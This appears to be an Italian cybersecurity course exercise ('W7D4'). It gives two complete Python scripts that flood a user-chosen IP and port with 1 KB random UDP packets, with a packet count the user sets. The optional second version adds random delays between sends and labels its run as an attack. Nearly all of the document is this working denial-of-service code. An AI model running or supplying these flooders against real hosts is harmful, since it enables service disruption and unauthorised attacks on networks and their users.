PROGRAMMAZIONE IN PYTHON W7D4

Scrivo un programma che simuli un UDP flood (invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale).
Requisiti:

- il programma deve richiedere l'inserimento dell'IP target (input)
- il programma deve richiedere l'inserimento della porta target (input)
- la grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare (input)

```python
import random
import socket

def UDP_flood():
        dati_da_inviare = random._urandom(1024)
#       while True:
        for x in range(numero_pacchetti):
                s.sendto(dati_da_inviare , target)
                print( "#",x,"- UDP inviato\n")

indirizzo_ip = str(input("Inserisci l'indirizzo IP target:"))
porta = int(input("Inserisci la porta:"))
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare:"))


try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        target = (str(indirizzo_ip),int(porta))

except:
        s.close()
        print("[!] Error!!!")

UDP_flood()
```

ESERCIZIO FACOLTATIVO

Implemento un meccanismo di ritardo casuale tra l'invio di pacchetti UDP, tra 0 e 0.1 secondi

```python
import random
import socket
import time

# Funzione per l'invio di pacchetti UDP con ritardo casuale
def invia_pacchetti_con_ritardo(ip_target, porta_target, numero_pacchetti):
        # Creazione di un socket UDP
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        print(str(time.time()) + " Inizio attacco")

        # Invio di pacchetti UDP con ritardo casuale
        for x in range(numero_pacchetti):
                # Generazione di dati casuali
                dati_da_inviare = random._urandom(1024)

                # Invio del pacchetto
                s.sendto(dati_da_inviare , (ip_target, porta_target))

                print(str(time.time()) + " - Invio " + str(x))

                # Introduzione di un ritardo casuale
                time.sleep(random.random() * 0.1) # Ritardo casuale tra 0 e 0.1 secondi

# Richiesta dell'input dall'utente
ip_target = input("Inserisci l'indirizzo IP target: ")
porta_target = int(input("Inserisci la porta UDP del target: "))
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

# Invio di pacchetti UDP com ritardo casuale
invia_pacchetti_con_ritardo(ip_target, porta_target, numero_pacchetti)

print("Attacco completato!")
```